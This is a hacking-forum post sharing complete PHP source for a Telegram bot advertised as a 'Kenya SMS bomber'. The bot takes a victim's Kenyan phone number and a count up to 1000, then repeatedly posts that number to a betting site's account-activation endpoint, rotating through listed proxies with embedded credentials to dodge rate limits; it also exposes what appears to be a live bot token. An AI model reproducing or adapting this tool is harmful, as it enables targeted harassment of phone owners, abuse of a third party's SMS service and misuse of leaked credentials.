• šŸŒ™ Community Spirit

    Ramadan Mubarak! To honor this month, Crax has paused NSFW categories. Wishing you peace and growth!

Multi/Others KENYA SMS BOMBER TOOLS HQšŸ”„šŸ”„ (1 Viewer)

Currently reading:
 Multi/Others KENYA SMS BOMBER TOOLS HQšŸ”„šŸ”„ (1 Viewer)

Recently searched:

kamaluddin

Member
LV
2
Joined
Feb 24, 2024
Threads
13
Likes
48
Awards
6
Credits
4,269Ā©
Cash
0$
<?php
// bot.php

// **IMPORTANT:** Replace 'YOUR_NEW_BOT_TOKEN' with your actual bot token.
define('BOT_TOKEN', '8170095352:AAHfI6AOhiUmrlflCe57_bgEtdevoxUoDPs'); // Replace with your new token
define('API_URL', 'https://api.telegram.org/bot' . BOT_TOKEN . '/');

// Channel usernames
define('CHANNEL_USERNAME', '@ModByKamal');
define('DEV_USERNAME', '@Mod_By_Kamal');

// Path to the user data file
define('USER_DATA_FILE', 'user_data.json');

// Load user data from the JSON file
function loadUserData() {
if (!file_exists(USER_DATA_FILE)) {
file_put_contents(USER_DATA_FILE, json_encode([]));
}
$json = file_get_contents(USER_DATA_FILE);
return json_decode($json, true);
}

// Save user data to the JSON file
function saveUserData($data) {
file_put_contents(USER_DATA_FILE, json_encode($data, JSON_PRETTY_PRINT));
}

// Initialize user data
$userData = loadUserData();

// Handle incoming updates
$update = json_decode(file_get_contents('php://input'), TRUE);

if (!$update) {
exit;
}

$message = isset($update['message']) ? $update['message'] : null;
$callback_query = isset($update['callback_query']) ? $update['callback_query'] : null;

// Function to log errors for debugging
function logError($message) {
file_put_contents('error_log.txt', date('Y-m-d H:i:s') . " - " . $message . PHP_EOL, FILE_APPEND);
}

// Function to send requests to Telegram API
function apiRequest($method, $parameters) {
$url = API_URL . $method;

$handle = curl_init($url);
curl_setopt($handle, CURLOPT_RETURNTRANSFER, TRUE);
curl_setopt($handle, CURLOPT_POSTFIELDS, json_encode($parameters));

curl_setopt($handle, CURLOPT_HTTPHEADER, [
"Content-Type: application/json"
]);

$response = curl_exec($handle);

if ($response === FALSE) {
logError("Curl failed: " . curl_error($handle));
return FALSE;
}

$responseData = json_decode($response, TRUE);
curl_close($handle);

return $responseData;
}

// Function to send a message
function sendMessage($chat_id, $text, $reply_markup = null, $message_id = null) {
$fancyText = convertToFancyText($text);
$parameters = [
'chat_id' => $chat_id,
'text' => $fancyText,
'parse_mode' => 'HTML',
'disable_web_page_preview' => true
];

if ($reply_markup) {
$parameters['reply_markup'] = $reply_markup;
}

if ($message_id) {
$parameters['reply_to_message_id'] = $message_id;
}

return apiRequest("sendMessage", $parameters);
}

// Function to edit a message
function editMessage($chat_id, $message_id, $text, $reply_markup = null) {
if (empty($text)) {
logError("Attempted to edit message {$message_id} in chat {$chat_id} with empty text.");
return false;
}

$fancyText = convertToFancyText($text);
$parameters = [
'chat_id' => $chat_id,
'message_id' => $message_id,
'text' => $fancyText,
'parse_mode' => 'HTML',
'disable_web_page_preview' => true
];

if ($reply_markup) {
$parameters['reply_markup'] = $reply_markup;
}

$response = apiRequest("editMessageText", $parameters);

if (!$response || !$response['ok']) {
logError("Failed to edit message {$message_id} in chat {$chat_id}: " . json_encode($response));
return false;
}

return $response;
}

// Function to delete a message
function deleteMessage($chat_id, $message_id) {
$parameters = [
'chat_id' => $chat_id,
'message_id' => $message_id
];

$response = apiRequest("deleteMessage", $parameters);

if (!$response || !$response['ok']) {
logError("Failed to delete message {$message_id} in chat {$chat_id}: " . json_encode($response));
}

return $response;
}

// Function to convert regular text to the specified Unicode font style
function convertToFancyText($text) {
$normal = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
// Mathematical Bold Unicode characters
$fancy = 'š—®š—Æš—°š—±š—²š—³š—“š—µš—¶š—·š—„š—…š—†š—‡š—ˆš—‰š—Šš—‹š—Œš—š—Žš—š—š—‘š—’š—“š—”š—•š—–š——š—˜š—™š—šš—›š—œš—š—žš—Ÿš— š—”š—¢š—£š—¤š—„š—¦š—§š—Øš—©š—Ŗš—«š—¬š—­0123456789';

// Split the strings into arrays of characters, handling multibyte characters
$normalChars = preg_split('//u', $normal, -1, PREG_SPLIT_NO_EMPTY);
$fancyChars = preg_split('//u', $fancy, -1, PREG_SPLIT_NO_EMPTY);

$fancyText = str_replace($normalChars, $fancyChars, $text);
return $fancyText;
}

// Function to check if user has joined a channel
function isUserJoined($user_id) {
// Ensure user_id is a string to match JSON keys
$user_id_str = strval($user_id);

$response = apiRequest("getChatMember", [
'chat_id' => CHANNEL_USERNAME,
'user_id' => $user_id
]);

// Log the response for debugging
if (!$response) {
logError("getChatMember API call failed for user_id: {$user_id_str}");
return false;
}

if (isset($response['ok']) && $response['ok']) {
$status = $response['result']['status'];
logError("getChatMember response for user_id {$user_id_str}: status = {$status}");
if (in_array($status, ['member', 'administrator', 'creator'])) {
return true;
}
} else {
if (isset($response['description'])) {
logError("getChatMember failed for user_id {$user_id_str}: " . $response['description']);
} else {
logError("getChatMember failed for user_id {$user_id_str}: Unknown error");
}
}

return false;
}

// Function to check if user has muted the channel
function isUserMuted($user_id) {
// Telegram API does not provide a direct way to check if a user has muted a channel
// This function is a placeholder and always returns false
return false;
}

// Function to generate the main menu buttons
function getMainMenu() {
// Define button texts
$button1 = 'šŸ“¢ Channel';
$button2 = 'šŸ‘Øā€šŸ’» Dev';
$button3 = 'āœ… Joined';

// Convert button texts to fancy
$fancyButton1 = convertToFancyText($button1);
$fancyButton2 = convertToFancyText($button2);
$fancyButton3 = convertToFancyText($button3);

return json_encode([
'inline_keyboard' => [
[
['text' => $fancyButton1, 'url' => 'https://t.me/' . substr(CHANNEL_USERNAME, 1)],
['text' => $fancyButton2, 'url' => 'https://t.me/' . substr(DEV_USERNAME, 1)]
],
[
['text' => $fancyButton3, 'callback_data' => 'check_joined']
]
]
]);
}

// Function to generate the stop button
function getStopButton() {
// Define button texts
$button1 = 'šŸ‘Øā€šŸ’» Dev';
$button2 = 'ā¹ļø Stop';

// Convert button texts to fancy
$fancyButton1 = convertToFancyText($button1);
$fancyButton2 = convertToFancyText($button2);

return json_encode([
'inline_keyboard' => [
[
['text' => $fancyButton1, 'url' => 'https://t.me/' . substr(DEV_USERNAME, 1)],
['text' => $fancyButton2, 'callback_data' => 'stop']
]
]
]);
}

// Handle /start command
if ($message && isset($message['text']) && strpos($message['text'], '/start') === 0) {
$chat_id = $message['chat']['id'];
$user_id = $message['from']['id'];

// Initialize or reset user state
$userData[$user_id] = [
'state' => 'main_menu'
];
saveUserData($userData);

// Delete previous messages to keep the chat clean
if (isset($message['message_id'])) {
deleteMessage($chat_id, $message['message_id']);
}

// Send main menu with welcome message
$welcomeText = "š—Ŗš—²š—¹š—°š—¼š—ŗš—²! š—£š—¹š—²š—®š˜€š—² š—°š—µš—¼š—¼š˜€š—² š—®š—» š—¼š—½š˜š—¶š—¼š—»: 😊";
sendMessage($chat_id, $welcomeText, getMainMenu());
exit;
}

// Handle callback queries (button presses)
if ($callback_query) {
$callback_id = $callback_query['id'];
$callback_data = $callback_query['data'];
$chat_id = $callback_query['message']['chat']['id'];
$message_id = $callback_query['message']['message_id'];
$user_id = $callback_query['from']['id'];

// Acknowledge the callback to remove the loading state
apiRequest("answerCallbackQuery", [
'callback_query_id' => $callback_id,
'text' => '',
'show_alert' => false
]);

// Load user data
$user = isset($userData[$user_id]) ? $userData[$user_id] : ['state' => 'main_menu'];

// Handle "check_joined" callback only if user is in "main_menu" state
if ($callback_data === 'check_joined') {
if ($user['state'] !== 'main_menu') {
// Inform the user to use /start if not in the main menu
$invalidStateText = "ā„¹ļø š—£š—¹š—²š—®š˜€š—² š˜‚š˜€š—² /start š˜š—¼ š—¶š—»š—¶š˜š—¶š—®š˜š—² š˜š—µš—² š—½š—æš—¼š—°š—²š˜€š˜€.";
sendMessage($chat_id, $invalidStateText, getMainMenu());
exit;
}

if (isUserJoined($user_id)) {
if (isUserMuted($user_id)) {
$mutedText = "šŸ”‡ š—¬š—¼š˜‚ š—µš—®š˜ƒš—² š—ŗš˜‚š˜š—²š—± š˜š—µš—² š—°š—µš—®š—»š—»š—²š—¹. š—£š—¹š—²š—®š˜€š—² š˜‚š—»š—ŗš˜‚š˜š—² š˜š—¼ š—°š—¼š—»š˜š—¶š—»š˜‚š—².";
$editSuccess = editMessage($chat_id, $message_id, $mutedText, getMainMenu());
if (!$editSuccess) {
// If editing fails, send a new message
sendMessage($chat_id, $mutedText, getMainMenu());
}
} else {
// Prompt for phone number
$promptText = "šŸ“± š—£š—¹š—²š—®š˜€š—² š—²š—»š˜š—²š—æ š˜†š—¼š˜‚š—æ š—½š—µš—¼š—»š—² š—»š˜‚š—ŗš—Æš—²š—æ š˜„š—¶š˜š—µ š—°š—¼š˜‚š—»š˜š—æš˜† š—°š—¼š—±š—² (e.g., 254700000000): šŸ“ž";

$editSuccess = editMessage($chat_id, $message_id, $promptText, null);
if (!$editSuccess) {
// If editing fails, send a new message
sendMessage($chat_id, $promptText);
}

// Update user state
$userData[$user_id]['state'] = 'awaiting_phone';
saveUserData($userData);
}
} else {
// Ask to join the channel
$notJoinedText = "āŒ š—¬š—¼š˜‚ š—ŗš˜‚š˜€š˜ š—·š—¼š—¶š—» š—¼š˜‚š—æ š—°š—µš—®š—»š—»š—²š—¹ š˜š—¼ š˜‚š˜€š—² š˜š—µš—¶š˜€ š—Æš—¼š˜.";
$editSuccess = editMessage($chat_id, $message_id, $notJoinedText, getMainMenu());
if (!$editSuccess) {
// If editing fails, send a new message
sendMessage($chat_id, $notJoinedText, getMainMenu());
}
}
} elseif ($callback_data === 'stop') {
// Stop the sending process
if (isset($userData[$user_id]['sending']) && $userData[$user_id]['sending'] === true) {
$userData[$user_id]['stop'] = true;
saveUserData($userData);

$stopText = "ā¹ļø š—¦š—²š—»š—±š—¶š—»š—“ š—½š—æš—¼š—°š—²š˜€š˜€ š—µš—®š˜€ š—Æš—²š—²š—» š˜€š˜š—¼š—½š—½š—²š—±. š—¬š—¼š˜‚ š—°š—®š—» š˜€š˜š—®š—æš˜ š—®š—“š—®š—¶š—» š—Æš˜† š˜‚š˜€š—¶š—»š—“ /start.";
$editSuccess = editMessage($chat_id, $message_id, $stopText, getMainMenu());
if (!$editSuccess) {
// If editing fails, send a new message
sendMessage($chat_id, $stopText, getMainMenu());
}
} else {
// If not sending, inform the user
$notSendingText = "ā„¹ļø š—”š—¼ š—½š—æš—¼š—°š—²š˜€š˜€ š—¶š˜€ š—¶š—» š—½š—¹š—®š˜†.";
sendMessage($chat_id, $notSendingText, getMainMenu());
}
}

exit;
}

// Handle text messages
if ($message && isset($message['text'])) {
$chat_id = $message['chat']['id'];
$user_id = $message['from']['id'];
$text = trim($message['text']);

// Load user data
$user = isset($userData[$user_id]) ? $userData[$user_id] : ['state' => 'main_menu'];

if ($user['state'] === 'awaiting_phone') {
// Validate phone number
if (preg_match('/^254\d{9}$/', $text)) {
// Store phone number
$userData[$user_id]['phone'] = $text;
$userData[$user_id]['state'] = 'awaiting_message_count';
saveUserData($userData);

$acceptedText = "āœ… š—£š—µš—¼š—»š—² š—»š˜‚š—ŗš—Æš—²š—æ š—®š—°š—°š—²š—½š˜š—²š—±. š—›š—¼š˜„ š—ŗš—®š—»š˜† š—ŗš—²š˜€š˜€š—®š—“š—²š˜€ š—±š—¼ š˜†š—¼š˜‚ š˜„š—®š—»š˜ š˜š—¼ š˜€š—²š—»š—±? (1-1000) šŸ“©";
sendMessage($chat_id, $acceptedText, null);
} else {
$invalidPhoneText = "āŒ š—œš—»š˜ƒš—®š—¹š—¶š—± š—½š—µš—¼š—»š—² š—»š˜‚š—ŗš—Æš—²š—æ. š—£š—¹š—²š—®š˜€š—² š—²š—»š˜š—²š—æ š—® š˜ƒš—®š—¹š—¶š—± š—žš—²š—»š˜†š—®š—» š—»š˜‚š—ŗš—Æš—²š—æ š˜„š—¶š˜š—µ š—°š—¼š˜‚š—»š˜š—æš˜† š—°š—¼š—±š—² 254 (e.g., 254700000000): šŸ“ž";
sendMessage($chat_id, $invalidPhoneText, null);
}
exit;
} elseif ($user['state'] === 'awaiting_message_count') {
// Validate message count
if (is_numeric($text) && intval($text) >=1 && intval($text) <=1000) {
$count = intval($text);
$userData[$user_id]['message_count'] = $count;
$userData[$user_id]['state'] = 'sending_messages';
$userData[$user_id]['sending'] = true;
$userData[$user_id]['stop'] = false;
saveUserData($userData);

$startSendingText = "šŸ”„ š—¦š˜š—®š—æš˜š—¶š—»š—“ š˜š—¼ š˜€š—²š—»š—± {$count} š—ŗš—²š˜€š˜€š—®š—“š—²š˜€... šŸš€";
sendMessage($chat_id, $startSendingText, getStopButton());

// **Note:** PHP is not ideal for asynchronous tasks. Consider using background jobs or queues for production.
// Here, we'll proceed synchronously for simplicity.
sendMessages($user_id, $chat_id, $count);
} else {
$invalidCountText = "āŒ š—œš—»š˜ƒš—®š—¹š—¶š—± š—»š˜‚š—ŗš—Æš—²š—æ. š—£š—¹š—²š—®š˜€š—² š—²š—»š˜š—²š—æ š—® š—»š˜‚š—ŗš—Æš—²š—æ š—Æš—²š˜š˜„š—²š—²š—» 1 š—®š—»š—± 1000: šŸ”¢";
sendMessage($chat_id, $invalidCountText, null);
}
exit;
}

// Handle unexpected input globally
$unrecognizedText = "ā“ š—Øš—»š—æš—²š—°š—¼š—“š—»š—¶š˜‡š—²š—± š—°š—¼š—ŗš—ŗš—®š—»š—±. š—£š—¹š—²š—®š˜€š—² š˜‚š˜€š—² /start š˜š—¼ š—Æš—²š—“š—¶š—». šŸ“";
sendMessage($chat_id, $unrecognizedText, getMainMenu());
exit;
}

// Function to send messages using the provided script
function sendMessages($user_id, $chat_id, $count) {
global $userData;

// Retrieve the phone number
if (!isset($userData[$user_id]['phone'])) {
sendMessage($chat_id, "āŒ š—£š—µš—¼š—»š—² š—»š˜‚š—ŗš—Æš—²š—æ š—»š—¼š˜ š—³š—¼š˜‚š—»š—±. š—£š—¹š—²š—®š˜€š—² š˜‚š˜€š—² /start š˜š—¼ š—Æš—²š—“š—¶š—».");
return;
}

$phone = $userData[$user_id]['phone'];

// Validate country code again
if (substr($phone, 0, 3) !== '254') {
sendMessage($chat_id, "āŒ š—Øš—»š˜€š˜‚š—½š—½š—¼š—æš˜š—²š—± š—°š—¼š˜‚š—»š˜š—æš˜† š—°š—¼š—±š—². š—¢š—»š—¹š˜† š—žš—²š—»š˜†š—® š—»š˜‚š—ŗš—Æš—²š—æš˜€ (254) š—®š—æš—² š˜€š˜‚š—½š—½š—¼š—æš˜š—²š—±. āŒ");
return;
}

// Define the list of proxies
$proxies = [
'198.23.239.134:6540:ykzozxnt:m6ocnx929ucl',
'207.244.217.165:6712:ykzozxnt:m6ocnx929ucl',
'107.172.163.27:6543:ykzozxnt:m6ocnx929ucl',
'64.137.42.112:5157:ykzozxnt:m6ocnx929ucl',
'173.211.0.148:6641:ykzozxnt:m6ocnx929ucl',
'161.123.152.115:6360:ykzozxnt:m6ocnx929ucl',
'167.160.180.203:6754:ykzozxnt:m6ocnx929ucl',
'154.36.110.199:6853:ykzozxnt:m6ocnx929ucl',
'173.0.9.70:5653:ykzozxnt:m6ocnx929ucl',
'173.0.9.209:5792:ykzozxnt:m6ocnx929ucl',
];

$totalProxies = count($proxies);

// Define the POST data as an associative array
$postData = [
'msisdn' => $phone,
'ua' => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36',
'resource' => 'activate'
];

// Define the headers as an associative array
$headers = [
'Accept: application/json, text/plain, */*',
'Accept-Language: en-GB,en-US;q=0.9,en;q=0.8',
// **IMPORTANT:** Replace 'YOUR_AUTH_TOKEN_HERE' with the actual token if required
//'Authorization: Bearer YOUR_AUTH_TOKEN_HERE',
'Connection: keep-alive',
'Content-Type: application/json',
'Origin: https://odibets.com',
'Referer: https://odibets.com/',
'Sec-Fetch-Dest: empty',
'Sec-Fetch-Mode: cors',
'Sec-Fetch-Site: same-origin',
'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36',
// **IMPORTANT:** Replace 'YOUR_X_ODI_KEY_HERE' with your actual X-Odi-Key
'X-Odi-Key: YOUR_X_ODI_KEY_HERE',
'sec-ch-ua: "Chromium";v="130", "Google Chrome";v="130", "Not?A_Brand";v="99"',
'sec-ch-ua-mobile: ?0',
'sec-ch-ua-platform: "Windows"',
];

// Define the cookie string
$cookie = 'YOUR_COOKIE_STRING_HERE'; // Replace with your actual cookie string

// Loop to execute the request
for ($i = 1; $i <= $count; $i++) {
// Check if user has requested to stop the process
if (isset($userData[$user_id]['stop']) && $userData[$user_id]['stop'] === true) {
sendMessage($chat_id, "āš ļø š—¦š—²š—»š—±š—¶š—»š—“ š—½š—æš—¼š—°š—²š˜€š˜€ š—µš—®š˜€ š—Æš—²š—²š—» š˜€š˜š—¼š—½š—½š—²š—±. š—¬š—¼š˜‚ š—°š—®š—» š˜€š˜š—®š—æš˜ š—®š—“š—®š—¶š—» š—Æš˜† š˜‚š˜€š—¶š—»š—“ /start.");
// Reset sending flags
$userData[$user_id]['sending'] = false;
$userData[$user_id]['stop'] = false;
saveUserData($userData);
return;
}

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, 'https://odibets.com/pxy/punter');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_CUSTOMREQUEST, 'POST');

// Select a proxy by rotating through the list
$proxy = $proxies[($i - 1) % $totalProxies];
list($proxyIP, $proxyPort, $proxyUser, $proxyPass) = explode(':', $proxy);

// Set the proxy details
curl_setopt($ch, CURLOPT_PROXY, "{$proxyIP}:{$proxyPort}");
curl_setopt($ch, CURLOPT_PROXYUSERPWD, "{$proxyUser}:{$proxyPass}");

// Set the headers
curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);

// Set the cookie
curl_setopt($ch, CURLOPT_COOKIE, $cookie);

// Set the POST fields
curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode($postData));

// Execute the request
$response = curl_exec($ch);
$curlError = curl_error($ch);
$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);

// Close the cURL session
curl_close($ch);

// **Removed:** Suppressing individual request responses to only show final success message.
// If needed, you can log these responses internally using logError or another logging mechanism.
}

// After sending messages
$successText = "šŸŽ‰ š—¦š˜‚š—°š—°š—²š˜€š˜€š—³š˜‚š—¹š—¹š˜† š˜€š—²š—»š˜ {$count} š—ŗš—²š˜€š˜€š—®š—“š—²š˜€.";
sendMessage($chat_id, $successText, getMainMenu());

// Reset user state
$userData[$user_id]['state'] = 'main_menu';
$userData[$user_id]['sending'] = false;
$userData[$user_id]['stop'] = false;
saveUserData($userData);
}
?>

IMG 20250227 131817 154 Craxproio   CraxTube
 

Create an account or login to comment

You must be a member in order to leave a comment

Create account

Create an account on our community. It's easy!

Log in

Already have an account? Log in here.

Tips
Recently searched:

Similar threads

Users who are viewing this thread

Top Bottom